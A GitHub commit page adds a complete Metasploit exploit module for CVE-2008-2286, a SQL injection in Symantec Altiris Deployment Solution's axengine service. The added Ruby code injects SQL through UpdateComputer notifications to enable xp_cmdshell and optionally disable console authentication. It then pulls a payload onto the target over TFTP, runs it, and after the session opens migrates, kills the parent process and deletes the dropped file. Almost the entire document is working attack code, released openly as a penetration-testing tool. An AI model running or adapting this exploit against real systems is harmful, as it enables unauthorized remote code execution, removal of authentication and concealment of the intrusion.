Skip to content

Commit d419c73

Browse files
committed
Land rapid7#2517, @3v0lver's exploit for cve-2008-2286
2 parents bdba80c + fddb69e commit d419c73

File tree

1 file changed

+203
-0
lines changed

1 file changed

+203
-0
lines changed
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = NormalRanking
11+
12+
include Msf::Exploit::CmdStagerTFTP
13+
include Msf::Exploit::Remote::Tcp
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Symantec Altiris DS SQL Injection',
18+
'Description' => %q{
19+
This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
20+
to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
21+
numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,
22+
several SQL injections are required in close succession, first to enable xp_cmdshell, then
23+
retrieve the payload via TFTP and finally execute it. The module also has the capability
24+
to disable or enable local application authentication. In order to work the target system
25+
must have a tftp client available.
26+
},
27+
'Author' =>
28+
[
29+
'Brett Moore', # Vulnerability discovery
30+
'3v0lver' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'CVE', '2008-2286' ],
36+
[ 'OSVDB', '45313' ],
37+
[ 'BID', '29198'],
38+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ]
39+
],
40+
'DefaultOptions' =>
41+
{
42+
'EXITFUNC' => 'process',
43+
},
44+
'Targets' =>
45+
[
46+
[ 'Windows 2003 (with tftp client available)',
47+
{
48+
'Arch' => ARCH_X86,
49+
'Platform' => 'win'
50+
}
51+
]
52+
],
53+
'Privileged' => true,
54+
'Platform' => 'win',
55+
'DisclosureDate' => 'May 15 2008',
56+
'DefaultTarget' => 0))
57+
58+
register_options(
59+
[
60+
Opt::RPORT(402),
61+
OptBool.new('XP_CMDSHELL', [ true, "Enable xp_cmdshell prior to exploit", true]),
62+
OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]),
63+
OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ])
64+
], self.class)
65+
66+
end
67+
68+
def execute_command(cmd, opts = {})
69+
inject=[]
70+
71+
if @xp_shell_enable
72+
inject+=[
73+
"#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}",
74+
"#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}",
75+
]
76+
@xp_shell_enable = false
77+
end
78+
79+
if @wc_disable_security
80+
inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"]
81+
@wc_disable_security = false
82+
end
83+
84+
if @wc_enable_security
85+
inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"]
86+
@wc_enable_security = false
87+
end
88+
89+
inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil
90+
91+
inject.each do |sqli|
92+
send_update_computer("2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);--")
93+
end
94+
end
95+
96+
def send_update_computer(processor_speed)
97+
notification = %Q|Request=UpdateComputer
98+
OS-Bit=32
99+
CPU-Arch=x86
100+
IP-Address=192.168.20.107
101+
MAC-Address=005056C000AB
102+
Name=Remove_test
103+
OS=Windows XP
104+
Version=2.6-38 (32-Bit)
105+
LoggedIn=Yes
106+
Boot-Env=Automation
107+
Platform=Linux
108+
Agent-Settings=Same
109+
Sys-Info-TimeZoneBias=0
110+
Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz
111+
Processor-Speed=#{processor_speed}
112+
\x00
113+
|
114+
115+
connect
116+
sock.put(notification)
117+
response = sock.get_once()
118+
disconnect
119+
120+
return response
121+
end
122+
123+
def check
124+
res = send_update_computer("2659")
125+
126+
unless res and res =~ /Result=Success/ and res=~ /DSVersion=(.*)/
127+
return Exploit::CheckCode::Unknown
128+
end
129+
130+
version = $1
131+
132+
unless version =~ /^6\.(\d+)\.(\d+)$/
133+
return Exploit::CheckCode::Safe
134+
end
135+
136+
print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'"
137+
138+
minor = $1.to_i
139+
build = $2.to_i
140+
141+
if minor == 8
142+
if build == 206 || build == 282 || build == 378
143+
return Exploit::CheckCode::Vulnerable
144+
elsif build < 390
145+
return Exploit::CheckCode::Appears
146+
end
147+
elsif minor == 9 and build < 176
148+
#The existence of versions matching this profile is a possibility... none were observed in the wild though
149+
#as such, we're basing confidence off of Symantec's vulnerability bulletin.
150+
return Exploit::CheckCode::Appears
151+
end
152+
153+
return Exploit::CheckCode::Safe
154+
end
155+
156+
def exploit
157+
@wc_disable_security = datastore['DISABLE_SECURITY']
158+
@wc_enable_security = datastore['ENABLE_SECURITY']
159+
@xp_shell_enable = datastore['XP_CMDSHELL']
160+
161+
# CmdStagerVBS was tested here as well, however delivery took roughly
162+
# 30 minutes and required sending almost 350 notification messages.
163+
# size constraint requirement for SQLi is: linemax => 393
164+
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'})
165+
end
166+
167+
def on_new_session(client)
168+
return if not payload_exe
169+
170+
#can't scrub dropped payload while the process is still active so...
171+
#iterate through process list, find our process and the associated
172+
#parent process ID, Kill the parent.
173+
#This module doesn't use FileDropper because of timing issues when
174+
#using migrate -f and FileDropper. On the other hand PrependMigrate
175+
#has been avoided because of issues with reverse_https payload
176+
#SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365
177+
178+
unless client.type == "meterpreter"
179+
print_error("Automatic cleanup only available with meterpreter, please delete #{payload_exe} manually")
180+
return
181+
end
182+
183+
client.core.use("stdapi") unless client.ext.aliases.include?("stdapi")
184+
# migrate
185+
print_status("Migrating ...")
186+
client.console.run_single("run migrate -f")
187+
# kill the parent process so the payload can hopefully be dropped
188+
print_status("Kill parent process ...")
189+
client.sys.process.get_processes().each do |proc|
190+
if proc['pid'] == client.sys.process.open.pid
191+
client.sys.process.kill(proc['ppid'])
192+
end
193+
end
194+
195+
win_temp = client.fs.file.expand_path("%TEMP%")
196+
win_file = "#{win_temp}\\#{payload_exe}"
197+
print_status("Attempting to delete #{win_file} ...")
198+
client.shell_command_token(%Q|attrib.exe -r #{win_file}|)
199+
client.fs.file.rm(win_file)
200+
print_good("Deleted #{win_file}")
201+
end
202+
203+
end

0 commit comments

Comments
 (0)